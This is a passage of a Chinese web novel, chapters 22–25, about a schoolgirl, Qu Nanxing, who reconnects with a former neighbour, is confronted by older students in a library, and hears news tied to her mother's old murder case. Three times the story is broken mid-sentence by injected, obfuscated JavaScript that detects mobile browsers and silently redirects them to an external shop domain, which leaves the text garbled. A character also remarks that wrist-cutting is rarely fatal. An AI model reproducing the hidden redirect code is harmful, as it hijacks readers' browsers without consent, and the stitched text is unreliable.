这时,身后传来男性的声音:
“老板,拿一下32栋的衣服,尾号0527。”
有客人来了。
“下雨天拿吗?”店主问了同样的问题。
“没办法,明天要穿了。”
“你跟这小姑娘一样啊。”店主笑着说,很快找到了记录:“周四送来的是吧?等等我去拿,刚收拾好,还没挂出来。”他抓住衣杆向屋后走去。
也许是因为店主的话,曲南星感到来人的目光似乎落到了自己身上。为了避免引人注意,她全程没有抬头,侧身站着。
外面的雨声渐渐小了,曲南星犹豫了一下,准备离开,忽然,背后有人叫道:
“不好意思……或许,你是市实小毕业的学生吗?”
22.当年的礼物
曲南星下意识回头,发现刚来的客人确实在和自己说话,有些吃惊。
“或许,”那人露出抱歉的表情,有些不确定地说,“是曲南星同学吗?”
“请问你是……”
“果然是你,我就说看背影感觉很熟悉。”那人松了口气,向她笑着说道,“你不记得我了?”
“不好意思,我……没什么印象。”曲南星摇了摇头。
“也难怪,都过去好几年了。四年前的新春晚会,我跟你一起上台发言来着,你是小学部的学生代表,我是初中部的。”
曲南星睁大了眼睛,新春晚会这个词深深刺中了她的记忆,她抬起头,再次打量面前的人。
男生穿着米白色卫衣,外面套着一件灰棕色夹克,看上去很年轻,似乎也是高中生。他的五官清秀,长相给人一种很温和的感觉,声音也很温柔,“我们那天还一起领奖了,记得么?”
“你是……”曲南星想起来了,但并不确定,“傅诚学长?”
男生高兴地说:“终于想起来了。不过我改姓了,现在姓罗。”
“噢,罗诚学长,原来是你。”曲南星也露出了微笑。
这人曾经是曲南星小学时期的邻居,住在同一栋家属楼里,而且都是榆州实验的学生,曲南星在附近的小学部上五年级时,他在初中部二年级,成绩全校名列前茅。
曲南星还记得妈妈说过,在楼道里遇到这个男孩子时,他会认真地跟自己打招呼,是个有礼貌的好学生。他们一家人都很和气,经常借东西给有困难的邻居,邻里关系十分融洽。
“你为什么会来这里?”罗诚问道。
“来找同学玩,不巧遇到下大雨了,我就在店里避一会。”
“那我送你回去吧。”
“学长不是来拿衣服的么?会弄湿的,我自己走过去就行。”
“坐公交来的吗?”
“是的。”
“没关系,公交站就几步路。”他抬高声音,向屋后还在找东西的店主道,“老板,我过几分钟再来拿。”
得到回应后,男生转头向曲南星道:“咱们走吧。”
两人撑伞离开洗衣店,穿过保安亭走向马路对面的公交站。
等红绿灯时,罗诚开口道:“时间过得真快啊,一眨眼你都上高中了,上次聊天还是你小学时候的事。”
“我记得呢,学长领奖完在后台摔了一跤,我和老师一起把你送去校医院,在路上跟你聊了好久。”说着,曲南星眨了眨眼。
“哎,这么尴尬的事怎么还记着,快忘掉。”罗诚也笑了。
“学长应该已经上大学了吧,大一?”
“嗯,今年九月刚入学。”
“是什么专业呢?”曲南星问。
“在上海交大读临床医学。”
“好厉害。”曲南星发出由衷的钦佩,过了一会,问道:“学长,你住在这个小区吗?”
“是啊,我家在35栋,你刚刚应该也听到了。”
“小学毕业之后搬家过来的?”
罗诚摇了摇头,“其实我们家一直住在这,之前是我妈为了方便照顾我妹妹,才在学校旁边租了房子。”
绿灯亮起,他们并排走上人行横道,因为下大雨加上天色已晚,路上没几个人。
眼看距离公交站只有半分钟的路程,曲南星终于还是开口,提出了她考虑再三的问题:“这么说,你跟林鸿是邻居?”
男生的脚步慢了下来,“是的。而且……”
他有点犹豫,过了好一会儿,才接着说道,“他也是我的同学。”
“嗯?”曲南星惊讶地睁大了眼睛,她只知道林和罗诚当年都是初二学生,但没想到这么巧,居然还是同班。
“你想问什么?”似乎洞察到她的心思,罗诚停下脚步,转身看着她。
“我想联系他,但一直找不到。”曲南星说,“他是不是已经不在榆州了?”
“我不太清楚,林鸿出事之后,跟班上同学基本断了联系。”罗诚沉吟道,“听说他一年多前出狱,然后改了名字,跟家里人离开榆州去外地生活了。”
果然如此,难怪那栋房子一点生活迹象都没有。曲南星低下头,舌根用力抵住了上颚,以此来抑制骤然加速的心跳。
“你联系他是想……?”
罗诚的表情出现了轻微波动,似乎带着些许同情,还有疑虑。
“关于那个案子,还有些事情想了解。放心,我可不是要找他报仇。”曲南星抬头对上罗诚的视线,用开玩笑的语气说道。
“怎么可能。”罗诚有些尴尬,不自然地笑了。
来到公交站外,两人停下脚步,确认曲南星已经走进了淋不到雨的顶棚下面,罗诚才收起伞。
“谢谢学长,”曲南星向他挥了挥手,“下次见。”
“再见,路上小心。”
到家的时候,已经晚上八点多了。
小姨坐在客厅里打毛衣,见曲南星回来了,连忙拿着事先准备好的干净睡衣走过来,帮她脱掉半湿的校服。
“怎么回事儿,这么晚还淋湿了,明天感冒怎么办?”小姨的语气略带责备,但更多的是心疼。
“没关系的,小姨,”曲南星向她嘻嘻一笑,撒娇道:“我好饿啊。”
“换好衣服再来吃,一直在锅里热着呢。”
“嗯!”
听说小姨出狱后,她大学时代的室友们一直在想办法帮忙,其中一个将家里闲置的老房子钥匙给了她,让她跟曲南星先安顿在里面,不肯收房租,还说等小姨找到工作再考虑要不要搬家。
就是这间位于大学城附近的两居室。
饭桌前,小姨一个劲给曲南星夹菜,嘴里念叨着:“瘦的我都看不下去了,学校中午吃的什么?钱充进饭卡了吗?”
曲南星一边吃一边连连点头。
“跟你说个好消息!”小姨脸上止不住的笑,眼睛里都好像有星光在闪,“我找到工作了!”
“真的?太好了!”
“也是我室友帮的忙,就是你萍萍阿姨,”小姨露出不好意思的表情,揉了揉后脑勺,“她在五院上班,托关系帮我在药房找了个工作,负责给病人抓药。”
“那很好诶,还是小姨的老本行,上手应该不困难吧。”
“算是吧……”小姨语气消沉下去,“毕竟我坐过牢,护士肯定没法继续做了……”
她很快打起精神:“这工作虽说没编制,但工资很不错,三千八一个月,足够我俩用的了。”
小姨姜敏毕业于榆州卫校,在“那件事”发生之前,曾是市人民医院的一名护士。
闻言,曲南星用力点了点头,“五院在哪里呀,离家远吗?”
“第五人民医院,就是榆州市精神卫生中心。”小姨答道,“还行,我骑小电驴,来回就四十分钟。”
“精神病医院?听起来有点吓人诶。”
“可不是嘛,萍萍跟我讲,那里的病人可诡异了,有人半夜蹲在雨里,医生问他干嘛,你猜他说什么?”
“躲猫猫吗?”
“他说自己是个蘑菇,下雨天要出来喝水,还问医生喜欢杏鲍菇还是猴头菇,医生说喜欢猴头菇,他就哇哇大哭说:‘我就是猴头菇求求你不要吃我’。”
两人笑作一团。
过了一会儿,小姨的表情变得犹豫起来,似乎是想到了什么事。
“那个,阿妹啊,”她斟酌着说道,“上午……你姑父给我打电话了。”
曲南星垂下眼,夹了一筷子菜。
“他说,你姑姑昨天晚上割腕自杀了。”
曲南星的手指一顿,“然后呢?”
“还好没什么大碍,被救护车拉走了,现在在医院休养。”
“他是不是想找你借钱?”曲南星直截了当地问。
“嗯……他说你表哥找不到工作,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995207|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家里坐吃山空,你姑妈上班的时候被同事议论了几句,想不开就……”
“不要借。”
“我肯定不借,他骂骂咧咧说什么没良心之类的,我直接把电话挂了,这家人真是离谱到极点。”
“之前姑妈每次跟姑父吵架都说要上吊,怎么这次选了割腕?”
曲南星站起来帮小姨盛了一碗汤,又道,“割腕很难切到动脉,血液还会自凝,一般情况下人是死不掉的。所以她大概也不是真心想自杀……何况,她儿子还指望着她的工资呢。”
小姨观察着她的反应,犹豫了一会儿才道,“阿妹,其实这些天一直有个事憋在我心里……”
“你是不是想问,为什么我不问姑妈要回遗产?”
小姨吃惊地“啊”出了声,“原来你知道。”
“很容易看出来呀,小姨脸上从来藏不住事。”
“那……当时为什么说不要呢?其实我找律师问过了,之前所谓的抚养协议都是他们曲家人自己商量的,完全可以通过打官司要回来一部分。”
“小姨,我明白你的意思,你想说如果能把我妈妈的房产要回来,我们就可以不用到处租房子,是么?”
她所说的房产,指的就是曾经和母亲一起住的那间老公寓。
那是曲南星身为小学老师的父亲生前从学校分到的房子,在她四岁时因车祸去世后,便由她们母女继承。
小姨叹了口气,“你是个聪明的孩子。我一开始觉得,可能是你对他们家还有点感情,脸皮薄心软了,但是……现在看着也不像。”
“我不计较是有原因的。”曲南星眨了眨眼眼睛,“他们家拿不出钱,一分都拿不出。”
“什么?这怎么可能?你妈妈跟我说过她存了五万块,都是累死累活出摊挣来的血汗钱,以后供你上大学的,给他们家败光了?”
“你见过我表哥吗?就是被派出所辞退的那个,姑妈的宝贝疙瘩。”
小姨摇摇头,“我没见到本人,每次他都躲屋里不露面。”
“他是中专毕业,然后去部队当了几年义务兵。你觉得,他的辅警工作是怎么来的?”
“难道……”
“没错。”曲南星轻轻地笑了,“前后打点加起来,姑妈跟姑父恐怕被掏空了。”
“没出息的东西。”小姨翻了个白眼,“最后钱没了,工作也没保住。”
“而且他们家为了能尽快找到儿媳,还在市区下了一套房子的首付,每个月都要还银行大几千的贷款,我猜,这也是陈昊俊着急赚钱的原因之一吧。”
“那……你跟我姐的房子呢?”
“他们没卖,但不可能还。姑妈几年前就把那间房子出租了,姑父在印刷厂一个月三四千块钱,陈昊俊没工作,她自己人在医院躺着,正是需要钱的时候。”
说着,曲南星望向窗外的夜空,目光炯炯有神,“所以,如果去要钱,他们家就跟咱们拼命。”
“原来如此。”小姨沉吟着点点头,“可就这么不管了?要是他们那几年对你好就算了,现在这情况,我多少有点不舒服……”
“我会想办法弄回来,但不是现在,狗急了还会跳墙呢。”
小姨忍不住噗嗤笑了。
“而且,”曲南星说,“我已经收到了妈妈的遗产。”
小姨吃惊地睁大了眼睛:“什么?”
曲南星把手伸进口袋,掏出了一枚粉红色的发卡,发卡顶端粘着拇指大小的塑料草莓。刚刚因为担心下雨,她便摘了下来。
小姨注视着发卡,“这是……她送你的新年礼物,是么?”
曲南星点点头,“为了庆祝我期末考了年级第一,在学校新春晚会开幕前,妈妈给我戴上的,说我登台领奖的时候戴着它,拍照出来会很好看。”
那天,是2010年的1月29日。
她垂下眼,看着略微生锈的发卡边缘,低声道:“我一直带在身上。”
23.遇袭
关于曲南星的流言并没有因为本人否认而停止。
相反,下周上学时,同学们看她的眼神变得更加意味深长。甚至有隔壁班的学生趁着课间跑来打探消息,问那个被警方怀疑杀人的女生是否还在学校、有没有被逮捕。
流言能够广为传播的原因,在于那名死者跟曲南星之间以一桩旧案产生的微妙联系,那桩案件四年前曾引起不小的轰动,几乎同年级的每个学生都有所耳闻。
因此,她的家庭情况也成了无法被避开的话题。
方怡宁对此感到非常气愤,然而当身边所有人都把这件事当做谈资时,即便她想帮曲南星解释,也很难撼动目前的形式。
“要是警察能过来告诉一下案情进展就好了。”中午休息时,她小声对曲南星说道。
曲南星说:“警察才不会做这样的事,向案件的无关人员透露进展,对他们来说恐怕只是浪费时间。”
“凶手还没有抓到吗?”
曲南星摇了摇头,“不知道。”
“什么时候才能破案啊,这样谣言就会不攻自破,看那些爱嚼舌根的人怎么说!”
“嗯,希望能尽快结束,这场风波持续太久了。”
“奇了怪了,谣言说警察一开始是去找蒋叉叉了解情况,确认你有没有嫌疑,但是蒋叉叉不可能把这事透露出来啊……莫非被谁偷听了?”
“是啊。”曲南星垂下眼睛,“究竟是谁听到的呢?”
“听到然后传播的人,肯定对你有很大的恶意,”方怡宁皱起眉,表情认真地推理道,“其他跟着传的也是蠢货,动脑子想想就知道了,这都过去多少天了,警察没有再来,你还跟我们一起上课,不就证明案件和你没关系嘛。”
“不重要了。”曲南星说,“快期末考试了,不必在这种无聊的事情上浪费时间。”
“不愧是学霸啊,不管什么情况都能学得进去。我要是你的话,肯定气得睡不着觉,非把第一个传谣的人揪出来不可。”
忽然,蒋叉叉从教室前门走了进来,这很不寻常,因为她基本不会在午休时间出现。
“我带的上一届毕业生有几个人放寒假回榆州了,今天他们一起返校,想给同学们做一场宣讲,内容是关于他们现在就读的名牌大学,给你们打打气,大家有兴趣吗?”
宣讲肯定比写作业有意思,她的提议立刻被大家赞成,台下学生们纷纷放下笔,好奇地望向教室门口。
返校……曲南星想,或许那个人也会来。
校门口的公告栏上张贴着优秀毕业生板报,她在里面看到了那个人的信息,今年6月毕业于高三(7)班,那正是蒋叉叉上一届带的班级。
很快,在班主任的引领下,五个年轻人顺次走进教室,三女两男,脸上都带微笑,看起来非常热情且自信。
五名学生开始分别做自我介绍,每当他们报出自己的高考分数和就读院校时,便会像触发机关般引起台下学弟学妹们的一片惊呼。这令他们脸上的笑容更加灿烂。
其中一名男生在东南读土木工程,他的声音格外爽朗,边说边指向旁边的同学:“我学校没我兄弟的好,在这里面算垫底的,唉早知道不来了,好丢人,大家别学我啊语文只考110,蒋老师当时知道都想报警了。”
听到这话,学生们顿时哄堂大笑,气氛更加活跃。
被那人指着的同学,是上周六曲南星在洗衣店遇到的男生,罗诚。轮到他时,台下引起了不小的轰动。
后桌传来曹蕾压低的声音:“我靠居然有帅哥。”
这一点毫无疑问,罗诚的长相是学生时代会给人留下深刻记忆的类型,加上他穿着白衬衫,整个人看起来干净又明亮,在人群里十分显眼。
而且当蒋叉叉在旁边补充说明,他是今年榆中的理科状元,就读于上海交通大学后,台下更是听取“哇”声一片。
紧接着是动员大会,几人均表示高考不难,只要把书本知识吃透就行,在咱们班只要不丢分就轻轻松松985211,这些话学生们已经听了很多遍,所以没有什么特别反应。
接着,他们拿出各自学校带来的纪念明信片,分发给学弟学妹们。
走到曲南星的课桌旁时,“巧啊,又见面了。”罗诚微笑着打招呼。
“学长好。”曲南星回答。
旁边方怡宁瞬间瞪圆了眼睛。
身后不出意料地传来曹蕾“我草我草”的惊呼。
等人离开后,曹蕾立刻用笔盖戳了戳曲南星的后背,迫不及待地问:“你跟那帅哥怎么认识的?”
这段时间,因为那则留言,她从来不跟曲南星主动说话,这次看来实在是憋不住了。
“他是我小时候的邻居。”
曹蕾似乎小声嘟囔了一句“无语了怎么运气这么好”,曲南星转过头,当做没听见。
下午的数学课结束后,最后一节是阅读课,全班学生在班主任的带领下,穿过三楼中间架设的回廊,进入位于对面的图书馆内上课。
这节课算是除了社团活动课外难得的休息课,虽然蒋叉叉要求大家只看名著和散文,积累作文用的好词好句,但实际上没几个学生听她的,都一手拿着符合要求的书做样子,下面摆一本小说。
有胆子大的,更是直接把手机藏在书里玩。
时间很快来到五点半,距离下课还有十分钟。
高一上学期没有晚自习,学生下课后可以直接回家,校车会在六点整发车。
蒋叉叉刚刚被物理老师喊走了,失去管控的阅读室内越来越吵,很多人坐不住了,准备提前溜回教室。
“我们也走吧。”方怡宁提议,她把偷偷看的言情小说塞回书架,封面上写着《纨绔世子妃》。
曲南星表示同意,刚要起身,班长王文璐走了过来:
“今天学校办了花山湾小学参观校园活动,你知道的吧?”
“参观校园?”
曲南星确实听说过,上午也看到很多小学生排队从窗外经过,一个个睁大眼睛,好奇地朝室内张望。
“对。”
“可是跟我有什么关系吗?”她不清楚班长突然过来说这件事的目的。
“中午他们在图书馆二楼参观,很多小学生乱放图书不还,学校要求高一每个班出一名同学负责一间借阅室整理,下午放学前要弄好。蒋老师说,统一报的是学习委员。”
说着,她看向曲南星:“在206,辛苦你了。”
“现在吗?”曲南星问,抬头看了看时钟,“已经五点三十五了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998182|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>真奇怪,刚刚还吵吵嚷嚷的阅读室霎时间安静了下来,一道道视线同时转向她们这边。
“放学前。”王文璐抬手推了下眼镜,重复道。
“我陪你去。”方怡宁站起来。
“随便,反正一定要整理好,明天早上会有老师来检查。”
说完,王文璐抱着书走了。
两人离开借阅室,顺着楼梯走下二楼。
206的布局跟3楼差不多,一间教室大小,周围的书架上摆满书籍,中间是六排长条形的书桌,此刻上面正杂乱无章地丢着各种图书。
她们没有时间抱怨,立刻开始行动起来。曲南星负责确定每本书在书架上的位置,然后交给方怡宁去摆放,分工明确,做起来快很多,正常情况下肯定能赶上校车。
“喂老曲,”把最后几本书塞进书架后,方怡宁叹了口气,“你有没有觉得,班长最近对我们态度不太正常啊?有时我跟她说话都不怎么理……”
“应该是谣言的缘故吧,如果是我,可能也会因为担心被波及而远离。”
“呃呃,又是谣言,真离谱。传谣的肯定嫉妒你成绩好,你期末考试千万别受影响,再考个第一气死他们!”
曲南星笑了,“我一定争取。”
话音未落,借阅室的门忽然打开了。
确切来说,是踹开的。门撞在墙上,发出“砰”的一声巨响。
两人都被吓了一跳,往后面一看,只见两个穿着校服的高个子男生正站在门边,一脸不怀好意地盯着她们。
“你们干什么啊?”方怡宁不悦地瞪着他们。
其中梳着平头的男生扫视了一圈,确定借阅室内只有她们后,露出了阴沉的表情:“曲南星是哪个?”
闻言,曲南星握着书脊的手指顿住了。
这两个人不是本班的学生,长相社会,但确确实实穿着榆州中学的校服。
不知怎么,她觉得对方看起来有点眼熟。
室内安静了几秒钟,也许是潜意识里察觉到了危险逼近,曲南星和方怡宁谁都没有开口说话。
“喂,问你们话呢,哪个是曲南星?”
“你们,”又过了几秒钟,曲南星抬起头,目光平静地与他们对视,“找她有什么事?”
“你甭管。”男生眯起眼睛,打量着她,“你的意思是,你不是咯?那就是——”
他把视线转到方怡宁身上。
余光里,曲南星看见方怡宁的肩膀微微颤抖了起来。
“也不是她。”
曲南星抬高了音量,迅速道,“曲南星刚刚被我们班主任叫出去了。”
“真的假的?”男生回头跟同伴对视了一眼,表情狐疑。
另一名男生嘀咕道:“不会吧,不是说就在206吗?”
曲南星心中一动,说道:“我们可以去帮你们喊她过来,但是要先告诉我们,找她干什么。”
“欺负同学欺负到我干妹妹身上了,总得给个说法吧?”平头男冷笑道,“听说她胆子挺大,连杀人都不怕,我们想看看她胆子到底有多大。”
“你的干妹妹是谁?我们班同学吗?”
“跟你有关系吗?”平头男再次打量了一遍曲南星,“喂,你们两个,把校园卡拿给我看。”
24.这对我来说是个好消息
糟了。曲南星竭力平缓着呼吸节奏,“我们是来打扫卫生的,没带校园卡。”
校园卡正面,印有每个学生的姓名和证件照。
平头男似乎并不相信她的话,迈开脚步向她们走了过来,球鞋落在地面上发出砰砰的脚步声。
方怡宁僵硬地站着,似乎抖得更厉害了,很小声地问:“现在该怎么办……”
正在这时,曲南星脑海里浮现出一段记忆。她想起这两个人是谁了。
上个月,有两名高三学生因在酒吧和社会人士产生冲突,最终发酵为聚众斗殴,被校长当着全校学生的面通报批评。
那时候被批评的,就是眼前这两个男生。
“喂喂喂,该不会你们是在骗人吧?”
平头男越走越近,脸上浮现出坏笑,“我最讨厌女人骗我,被我发现的话,会狠狠惩罚你们噢……”
曲南星伸开胳膊把方怡宁挡在身后,冷冷道:“校园卡在我们书包里,如果你需要的话可以去拿。但我还是要提醒你们,借阅室有监控,而且六点钟是图书馆下班时间,老师会挨个检查教室然后锁门。”
说着,她看了眼书架上的时钟:“还有七分钟。”
平头男停下脚步,眯起了眼睛,似乎在观察她。两方陷入了诡异的僵持。
“你们怎么还在这?”
门口忽然传来声音。
如同解开封印一般,教室内四个人同时齐刷刷转头看去。
罗诚站在门口,向曲南星道:“刘燕、李萍,你们还没打扫完吗?校车快发车了。”
听到名字,平头男挑起眉毛,若有所思地打量了两名女生一眼。
罗诚转向平头男:“你们是哪个班的?有什么事?”
“关你屁事。”平头男白了他一眼,向同伴打了个手势,“走。”
两人便像旋风一样迅速离开了借阅室。
等人走远,方怡宁长舒一口气,哗啦一下瘫倒在椅背上,“我靠什么鬼吓死我了!”
“是上次学校通报批评的高年级混混,”曲南星说着,抬头看向罗诚,“多亏了学长在,不然还不知道会怎么样。”
罗诚:“我刚好在隔壁看书,听到动静就过来了。这两个人为什么要找你麻烦?你哪里惹到他们了吗?”
曲南星摇了摇头,“我根本不认识他们。”
“怎么会有这么恐怖的事情!还是在学校里!无法无天啊这些人!”方怡宁怒气冲冲地锤了一拳桌面,“老曲,我们去找蒋叉叉告状!”
曲南星沉吟道,“这个点她应该已经下班了,我们先回去吧,也许还能赶上校车。”
三人回到教室收好书包下楼时,刚好是六点零一分,最后一辆校车喷着黑咕隆咚的尾气绝尘而去。他们只得转头向公交站走去。
秋天太阳落山得早,等到有车进站时,天空几乎全黑了。
“我送你们回去。”罗诚说着,登上了同一辆公交。
现在是晚高峰,车上乘客很多,座位已经被上班族们占完了,三人便在后门附近并排站着。
刚一发车,方怡宁就迫不及待地说道:“那两个小混混说的‘干妹妹’,肯定是我们班的女生!”
她仿佛才想起周围可能有同校学生,连忙四下望了望,接着道:“其中一个人说过‘在206’,也就是说他们知道老曲你在哪里,不是瞎猫撞死耗子,而是有人提前通风报信!”
“班长在五点半让我们去206,”曲南星说,“当时大约还有二十来个同学在借阅室里,我想他们应该都听到了。”
“没错,所以当时在场的所有人都有嫌疑。”方怡宁表情严肃地说。
“可我没有欺负过任何人。”
“这就更奇怪了,他们肯定是听了那个‘干妹妹’的指使才来找你麻烦,但那个女生为什么要这么说?你又没有霸凌过什么人,而且如果说霸凌,明明是她们在用谣言霸凌你吧!”
曲南星陷入沉思,过了一会才道:“或许……还是跟那个谣言有关。”
“因为害怕谣言所以找人来威胁你?这也离奇了,什么样的脑回路才会做出这种事啊……”
“我也不知道。”
方怡宁想了想,忽然露出了恍然大悟的表情:“你说那个干妹妹会不会就是最开始传播谣言的人?这样就说得通了,一边传播谣言让你被同学排挤,一边找小混混骚扰你,做这一切都是因为对你有很深的恶意!”
曲南星想了想,摇摇头:“我觉得,她们应该不是同一个人。”
“难道你有什么头绪了吗?”
“这倒没有,只是我的直觉而已。”
这时,身旁一直没有搭话的罗诚开口道:“抱歉打扰一下,你们一直说的‘谣言’,是指什么?”
方怡宁下意识想开口,但又很快闭紧嘴巴望向曲南星,用眼神询问她能不能告诉这个人。
曲南星沉默了片刻,主动回答道:“金振宇。你还记得这个人吗?”
不出所料,罗诚微微睁大了眼睛,“是……”
“没错。你说你跟林鸿是同班同学,那么,金振宇应该也是你的同学。”
“他出什么事了?”
“他死了。”曲南星抬起头,正面迎上罗诚投来的的目光:“确切来说,是被人杀死的。”
“被人杀了……”罗诚低声重复了一遍,“什么时候的事?”
“两个月前,十月中旬。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002683|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
罗诚皱起眉头:“那么谣言就是……”
“对,因为四年前的129案,也就是我妈妈那个案子的缘故,警察也对我进行了调查。”
“这件事被其他人知道了?”
曲南星点点头:“是的。”
方怡宁在旁急着补充道:“但那完全是不找边际的胡说八道,是有人偷听到警察向蒋老师了解情况,就编了谣言出来乱传,越传越离谱。”
罗诚点头道,“难怪他们提到了那个词……”
他没有明说,但曲南星知道他指的是“杀人”。
公交车到了恒美花园站,是方怡宁家住的小区。她跟曲南星约好明天早上一起去找班主任说明图书馆的情况,便向两人挥手道别。
两站后是曲南星的下车点。她走下站台,然后转过身,向罗诚低头致谢道:“今天真的很感谢学长,麻烦你了,还绕了很多路送我们回家。”
“你家就住在这附近吗?我送你过去好了。”
“没关系的,只有几步路。学长还是早点回家吧,不然阿姨会担心的,从这里到紫悦山庄可以坐19路公交车直达。”
“好吧,那……再见?”罗诚举起了手,但动作似乎有点犹豫。
“嗯嗯,学长再见。”
曲南星转过身,向没有路灯的小路走去,两旁是漆黑的树丛。
身后并没有传来脚步声,意味着罗诚仍站在原地。
“请等一下。”
曲南星回头,“学长还有什么事吗?”
罗诚的神情看上去欲言又止,考虑再三,他开口道:“那个,也许警察决定调查你,不止是出于金振宇被杀的原因。”
“……什么?”
“这只是我个人的猜测,完全没有依据,请你听完后就忘记,千万不要放在心上。”
似乎很担心对方反应,罗诚急忙补充了一大串解释,看到曲南星点头后,这才接着道:“有件事情,我想你大概不知道。”
曲南星直直注视着他,“是什么事?”
“周婧也死了,就在去年一月。”罗诚咬住了后槽牙,压低声音,“我高考后的暑假偶然遇到了初中的同学,是他告诉我的。据说警察没有发现人为因素,以意外死亡结案了。”
“哦……”曲南星垂下眼帘:“原来如此。”
“可能因为同一个案件的两名犯人接连死亡,警察才会把注意力集中到你身上。但这些都只是例行调查,你不用担心,警察如果想锁定某个嫌疑人,必须有明确的证据才行。”
“我知道了。”
曲南星露出微笑,再度向他招了招手,“这对我来说是个好消息,谢谢你告诉我。再见,学长。”
25.跟踪
“第一天上班的感觉怎么样?”
刚打开门,小姨已经到家了,正在厨房里忙着做毛豆烧鱼,香味飘的整个屋子里都是。曲南星放下书包,笑着问道。
“好得很,同事听说了我们家的情况,都特别照顾我。”
小姨用湿抹布包住手掌,将热气腾腾的烧鱼端了出来,推到曲南星面前:“赶紧吃饭,学了一天了,肯定饿坏了。”
她们聊了一会儿学校和医院发生的趣事,其中主要是小姨在描述各种她从新同事那里听到的奇葩精神病人的案例,说着说着,两个人笑的前仰后合。
曲南星并不打算说出图书馆发生的事。
夹了一筷子鱼肚肉放到曲南星碗里后,小姨反常地沉默了,过了一会儿,冷不丁说道:“今天下午,我在门诊药房看到了一个人。”
“谁啊?”
“刘蔚的妈妈。”
曲南星抬了起头。
小姨舔了下嘴唇,“刘蔚就是……”
“我知道。”曲南星立刻道,“我知道是谁。”
小姨再次陷入沉默,似乎在犹豫要不要说下去,但曲南星已经发出了提问:“他跟他妈妈一起来的吗?来五院看病,还是做什么?”
“他妈妈一个人来的。”
今天下午,姜敏在榆州市第五人民医院的药房窗口前工作,负责药品分派。
这是她第一天上班,为了给同事们留下好印象,她打起十二分的精神,全力以赴接待每一位来她的窗口取药的患者。
五点半左右,因为门诊即将下班,医院客流量逐渐减少,当姜敏服务完最后一名患者后,抬头一看,窗口前已经没有人排队了。
隔壁窗口的同事刚想说点什么,忽然出现了一个面容瘦削的中年女人,她径直来到同事窗口,向里面递进一叠付款凭证和处方单:“刘姐下午好,路上堵车,来晚了。”
同事刘姐熟络地跟那女人打了招呼,便拿过凭证,转身取出自动发药口里掉下的药盒,用塑料袋装好,再通过窗□□给对方。
等女人拿着药离开后,同事轻呼一声,转头看向坐在旁边工位的姜敏:“你知道她是谁不?”
“谁?我不认识吧。”
同事并没有立刻回答,而是露出了神秘的微笑。这是个年近五十的中年大妈,最大的爱好就是挖掘同事或患者的八卦,一有空闲时间就找人唠嗑,来者不拒。
“她是给她儿子来拿药的。他们每周日都来看专家号,都好几年了,雷打不动。”
姜敏还是一头雾水,“她儿子?”
“她儿子叫……”
同事瞟了眼窗外,那女人正站在大厅接待台旁边打电话,跟药房有一段距离,“叫刘蔚。”
刚开始,姜敏并没有反应过来,反而觉得莫名其妙,但等到她将这个名字默念一遍后,顿时脸色骤变。
同事对她的表情变化很满意,点点头,意味深长地说:“想起来了吧?你先别激动,人还在外面呢。”
姜敏深深吸了一口气,才说:“是留下来自首的那个男学生?”
“就是他。”
姜敏陷入沉默。
同事目光敏锐地观察着她的脸色,说道:“这小孩也挺惨,当年你姐姐那个案子……他是被胁迫参加的,你肯定都知道的,对吧?”
姜敏没有回答这个问题,转而问道:“他来我们医院干嘛?生什么病了?”
“抑郁症。”
同事停顿了一下,补充道:“重度。听说就是那个案子之后,孩子虽然被判了无罪,但是班上同学都因为这件事孤立他,说他是杀人犯,没过多久,孩子心理就不正常了,他妈只好给他办了休学,在家养病。而且……”
她又看了眼窗外,确认没有病患后,才说道:“好几次尝试自杀。”
“救下来了吧?”
“那肯定,不然他妈还来医院干啥?”同事竖起大拇指朝窗外比了个手势,“诺,你看他妈穿的高跟鞋,那是几年前她第一次带孩子来看病的时候穿的,现在漆都掉光了,还在穿。”
姜敏顺着她的手势看去。
女人还没走,正在接待台附近边打电话边来回踱步,皱着眉头不断说着什么。她身穿一条淡蓝色连衣裙,脚上是一双掉了漆的白色尖头高跟鞋,头发在脑后扎成丸子,鬓角有许多乱发。
“孩子他妈刚来那会儿,拿到药就在窗口前面蹲着哭,说一家人的生活都毁了,老公工作丢了,为了到处带儿子治病把房子也卖了,全家挤在老破小的出租屋里面,日子快过不下去了……”同事看着女人的背影,语气里透露出同情。
另一名同事端着咖啡走了过来,插嘴道:“可不是嘛!那哭的叫一个惊天动地,给副院长都招来了。不过,我看她最近精神头不错,是儿子的病快好了?”
闻言,同事刘姐点开电脑,在系统里根据病患姓名检索,点头道:“确实啊,最近几周文拉法辛的药量减半,喹硫平也没开,应该是好多了。”
“她儿子还上学吗?”姜敏问。
“去年已经复学了,还考上了振德高中,现在读高二呢。至于成绩怎么样,那就不知道了。”
